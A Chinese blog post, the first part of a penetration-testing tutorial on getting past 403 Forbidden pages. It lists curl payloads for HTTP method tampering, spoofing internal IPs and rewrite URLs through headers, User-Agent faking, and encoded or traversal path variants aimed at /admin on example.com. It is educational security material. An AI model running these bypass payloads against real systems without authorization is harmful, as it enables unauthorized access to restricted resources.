Web 渗透:如何绕过403 Forbidden? Part I

Web 渗透:如何绕过403 Forbidden? Part I

Web 渗透常常遇到403 page,思考三秒,遇到后下一步你会尝试什么操作?有思路吗?

遇到一遍毕竟好的文章,相对系统的讲了具体的绕过技术,抽空学学写下来....

目录

啥是403 Forbidden 错误?

403错误的常见原因

作为渗透测试人员,如何绕过403 🐕

1 篡改http 方法

2. Header 操纵

使用自定义用户代理绕过

3 路径 Fuzzing & Encoding


---------------------------------------------------------------------------------------------------------------------------------

啥是403 Forbidden 错误?

403 禁止错误是一个 HTTP 状态码,表示服务器理解你的请求,但你不被允许访问该资源。
可以把它想象成俱乐部的保镖说:“是的,我知道你是谁,但你不在名单上。

403错误的常见原因

  1. IP地址阻断或白名单:
    访问会被拒绝针对特定IP地址范围,通常是安全策略的一部分,用来限制或允许来自特定来源的流量。
  2. 权限配置不当(ACL,IAM):
    错误的访问控制列表(ACL)或身份与访问管理(IAM)设置可能阻止授权用户访问资源。
  3. 用户代理、Referer或方法限制:
    请求通常基于用户代理头、Referer头或HTTP方法(如GET、POST)进行过滤或拦截,以阻断机器人、爬虫或未经授权的流量。
  4. 配置错误的反向代理(NGINX、Apache):
    反向代理配置(如NGINX或Apache)可能被错误设置,基于安全策略阻断特定资源或路径的访问。
  5. 文件或目录权限问题:
    错误配置的文件或目录权限会限制对某些资源的访问,导致用户访问时出现403错误。
  6. 速率限制或限速:
    基于请求频率的服务器端限制可能导致用户在特定时间内超过允许的请求数时,出现403错误。
  7. 认证或授权失败:
    权限不足、凭证缺失或令牌无效可能导致403错误,通常由认证或授权检查失败引起。
  8. 防火墙或安全软件阻断:
    安全软件如Web应用防火墙(WAF)可能阻断符合特定模式的请求,如SQL注入尝试或其他恶意活动。
  9. 地理访问限制:
    一些网站根据用户的地理位置限制访问,某些国家或地区的请求可能会被阻止,触发403错误。

作为渗透测试人员,如何绕过403 🐕

1 篡改http 方法

许多服务器主要对常见的HTTP方法如GET或POST施加访问控制。如果切换到较少使用的方法,如PUT、PATCH、DELETE或TRACE,你可能可以绕过。。因为服务配置未考虑给这些method设置相关的规则

例如

curl -X OPTIONS --path-as-is https://example.com/private/ curl -X GET --path-as-is https://example.com/private/ curl -X POST --path-as-is https://example.com/private/ curl -X PUT --path-as-is https://example.com/private/ curl -X DELETE --path-as-is https://example.com/private/ curl -X PATCH --path-as-is https://example.com/private/ curl -X HEAD --path-as-is https://example.com/private/ curl -X TRACE --path-as-is https://example.com/private/ curl -X CONNECT --path-as-is https://example.com/private/ curl -X PROPFIND --path-as-is https://example.com/private/ curl -X MKCOL --path-as-is https://example.com/private/ curl -X COPY --path-as-is https://example.com/private/ curl -X MOVE --path-as-is https://example.com/private/ curl -X LOCK --path-as-is https://example.com/private/ curl -X UNLOCK --path-as-is https://example.com/private/ curl -X SEARCH --path-as-is https://example.com/private/
  • -X:指定 HTTP 方法(动词)。默认 curl 会在有正文时用 POST、无正文时用 GET;加 -X 可以强制成其他方法(如 UNLOCKSEARCH 等)。
  • --path-as-is:让 curl不要做 URL 规范化(normalization)。具体来说,它不会把路径里某些序列“友好化”或自动解码,例如保留 %2F、重复斜杠、结尾点等。这在测试安全场景或 WebDAV/特殊路由时很关键。举个栗子展开说说:

目标 URL:https://example.com/../admin/

不加 --path-as-is

curl -X GET https://example.com/../admin/

curl 会规范化路径,把 ../ 去掉,最终请求的是:

https://example.com/admin/ 

如果 /admin/ 被服务器保护(返回 403),你就无法测试绕过。

--path-as-is

curl -X GET --path-as-is https://example.com/../admin/

curl 会原样发送 ../admin/,有些服务器或中间件可能错误处理这种路径,导致绕过访问控制(例如本来禁止 /admin/,但没正确处理 ../ 就给绕过了。。。)。

潜在效果:可能绕过 403 Forbidden,访问到敏感页面。

2. Header 操纵

在测试403绕过或其他访问控制错误配置时,攻击者常常操纵HTTP头部以欺骗服务器获得访问权限。以下是一些常见被滥用的头部、它们的典型值以及它们试图实现的目标

# Common Headers Used for Bypass Attempts

| Header | Example Value | Purpose / Notes |
|---------------------------|----------------------------|---------------------------------------------------------|
| X-Original-URL | /admin | Access restricted paths via rewritten URLs |
| X-Rewrite-URL | /admin | Similar to X-Original-URL; processed by some proxies |
| X-Custom-IP-Authorization | 127.0.0.1 | Spoof internal IP (localhost) |
| X-Forwarded-For | 127.0.0.1 | Spoof client IP to appear as localhost |
| X-Client-IP | 127.0.0.1 | Another way to impersonate internal IP |
| X-Host | localhost | Manipulate host-based access controls |
| Referer | http://trustedsite.com/ | Trick server into trusting the source of the request |

用 X-Original-URL or X-Rewrite-URL headers 重新请求路径,尤其nginx反向代理

curl -H “X-Original-URL: /admin” https://example.com/some-page curl -H “X-Rewrite-URL: /admin” https://example.com/some-page

  • 两条命令都向 https://example.com/some-page 发送一个请求,但额外加了一个自定义请求头
    • X-Original-URL: /admin
    • X-Rewrite-URL: /admin

在一些历史遗留或错误配置的框架 / 反向代理 / 中间件(尤其是 IIS + URL Rewrite、某些 PHP/Node/Python 框架)中,应用会信任这些非标准头,并用它们来覆盖原始请求行中的路径。结果就是:虽然浏览器或 curl 看起来访问的是 /some-page,但后端真正处理的却可能是**/admin。这就可能绕过基于路径的访问控制(ACL/WAF/缓存规则)**。这是业界已知的“URL 重写漏洞(URL rewrite vulnerability)/Request URL Override”

reference: URL rewrite vulnerability - Vulnerabilities - Acunetix

使用自定义用户代理绕过

有些服务器通过检查 User-Agent 头部,阻止来自 Burp Suite 或 curl 等工具的请求。伪装成真实浏览器可以绕过基本filters

curl -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64)" http://example.com/private/

简单说就是让系统以为你是真实浏览器用户而不是burp等自动化工具

3 路径 Fuzzing & Encoding

Encodling 绕过

许多服务器会阻断像 /admin 这样的直接路径,但无法检测编码、修改或案例变体。

curl -g --path-as-is "https://example.com/%2e%2e/admin" # ../ curl -g --path-as-is "https://example.com/%2e%2e%2fadmin" # ../admin curl -g --path-as-is "https://example.com/%2e%2e%2f%61dmin" # ../admin with 'a' encoded curl -g --path-as-is "https://example.com/%2e%2e/%2e%2e/admin" # ../../admin curl -g --path-as-is "https://example.com/%2e%2e/%2fadmin" # ..//admin curl -g --path-as-is "https://example.com/%20/admin" # space/admin curl -g --path-as-is "https://example.com/%2e%2fadmin" # ./admin curl -g --path-as-is "https://example.com/admin%2f" # admin/ curl -g --path-as-is "https://example.com/admin%252f" # admin%2f (double encoded) curl -g --path-as-is "https://example.com/admin%2e%2e%2f" # admin../ 

-g = --globoff,关闭 URL globbing,让 curl 按你写的 URL 原样发送。

path fuzzing

| Trick | Example | Purpose |
|-----------------------------|---------------------------------|-------------------------------------------------|
| Add a trailing slash | /admin/ | Bypass filters expecting exact match (`/admin`) |
| Add ..;/ | /..;/admin | Bypass via path confusion |
| Double slashes | //admin// | Bypass normalization rules |
| Add a dot at the end | /admin. | May trick poorly written regex or filters |
| URL-encode the slash | /admin%2f | Evade path filters with encoding |
| Add random extension | /admin.php, /admin.json | Some servers ignore unknown extensions |
| Backslashes or mixed slashes| \admin, /admin\/ | Break or confuse path parsers |
| Trailing semicolon or space | /admin;, /admin%20 | May confuse parsers or match loosely |
| Unicode tricks | /admin%c0%af, /admin%ef%bc%8f | Unicode slash bypasses |
| Append junk param or fragment| /admin?foo=bar# | May bypass path-only checks |

大小写 😄

curl https://example.com/admin
curl https://example.com/Admin
curl https://example.com/ADMIN
curl https://example.com/aDmiN
curl https://example.com/adMin
curl https://example.com/AdMiN
curl https://example.com/aDMIN
curl https://example.com/ADMIn

加后缀

curl https://example.com/admin.json curl https://example.com/admin.css curl https://example.com/admin.js curl https://example.com/admin.html curl https://example.com/admin.php curl https://example.com/admin.aspx curl https://example.com/admin.xml curl https://example.com/admin.txt curl https://example.com/admin.bak curl https://example.com/admin.old curl https://example.com/admin.zip curl https://example.com/admin.tar.gz

这些技巧可用是由于服务器限制访问 /admin,但由于路由或文件处理规则不严谨,允许访问 /admin.json 或其他变体

换句话说:
如果应用只对精确路径 /admin 做了访问控制,而没有对 /admin.json/admin//admin; 等变体做同样的限制,那么攻击者可以通过这些“变形路径”绕过限制,访问敏感资源。

下次接着写吧~~~

Read more

AIGC(生成式AI)试用 45 -- DocsGPT 与 Python开发 1

一切从python调用本地DocsGPT完成python开发开始。 遗留问题:如何验证AI开发提交的结果? * 提问 1: 使用python+Tkinter进行GUI程序编码 1. 界面分为左右两部分     - 左侧为python代码编辑区:       左上部为代码多行输入框,嵌入python idle,浅灰色底色;       左下部为 Run 按钮     - 右侧为GPT调用区:       右上部为tab,名称 Question,嵌入多行文本,输入提问问题;       中部为Show Answer按钮,海蓝色;       下部为2个tab:tab1,名称 Answer,嵌入多行文本,显示GPT处理结果;                                tab2,名称History,显示提问历史,answer + question,数据来自名为pyai的sqlite的数据库  2. 优化界面  3. 优化代码 * DeepSeek 回复 1: - 1 次调用界面

MBA必看!10个高效降AIGC工具推荐

MBA必看!10个高效降AIGC工具推荐

MBA必看!10个高效降AIGC工具推荐 AI降重工具:MBA论文的智能护航 在当前学术写作日益依赖人工智能的背景下,MBA学生面临的挑战愈发明显。论文中高AIGC率不仅可能影响成绩,还可能导致学术不端的质疑。因此,如何高效降低AIGC率、去除AI痕迹,并有效降低查重率,成为许多MBA学习者关注的核心问题。 幸运的是,随着技术的发展,市面上涌现出众多AI降重工具,它们不仅能精准识别并优化AI生成内容,还能在保持语义通顺的前提下,实现高质量的降重效果。这些工具各具特色,有的专注于快速处理初稿,有的则擅长深度查重与修改,为不同阶段的论文写作提供了多样化的解决方案。 工具名称主要功能适用场景千笔强力去除AI痕迹、保语义降重AI率过高急需降重云笔AI多模式降重初稿快速处理锐智 AI综合查重与降重定稿前自查文途AI操作简单片段修改降重鸟同义词替换小幅度修改笔杆在线写作辅助辅助润色维普官方查重最终检测万方数据库查重数据对比Turnitin国际通用检测留学生降重ChatGPT辅助润色指令手动辅助 千笔AI(官网直达入口) :https://www.qianbixiezuo.com

【GitHub项目推荐--TypeTale(字字动画):免费AIGC视频创作工具】非开源

简介 TypeTale (字字动画)是一款专为内容创作者打造的完全免费的AIGC创作软件,主要用于小说推文、AI短剧、AI电影制作。它集成了多种AI能力,提供从文案处理到视频生成的全链路创作支持,承诺现有功能与基础功能永久免费。 🔗 GitHub地址 : https://github.com/TypeTale/TypeTale 🎬 核心价值 : AIGC视频生成 · 小说推文 · AI短剧 · 完全免费 · 中文优化 项目背景 : * 内容创作 :短视频内容创作需求增长 * AIGC技术 :AI生成内容技术成熟 * 成本控制 :降低视频制作成本需求 * 中文优化 :中文内容创作工具需求 * 开源生态 :开源创作工具生态 项目特色 : * 🆓 完全免费 :永久免费使用 * 🇨🇳 中文优化 :专为中文优化 * 🤖 AI集成 :多AI能力集成 * 🎬 视频生成 :全链路视频生成 * 🔧 易用性 :简单易用界面 技术亮点 : * 多模型支持 :支持多种AI模型 * ComfyUI集成 :深度ComfyUI集成 * 工作流系统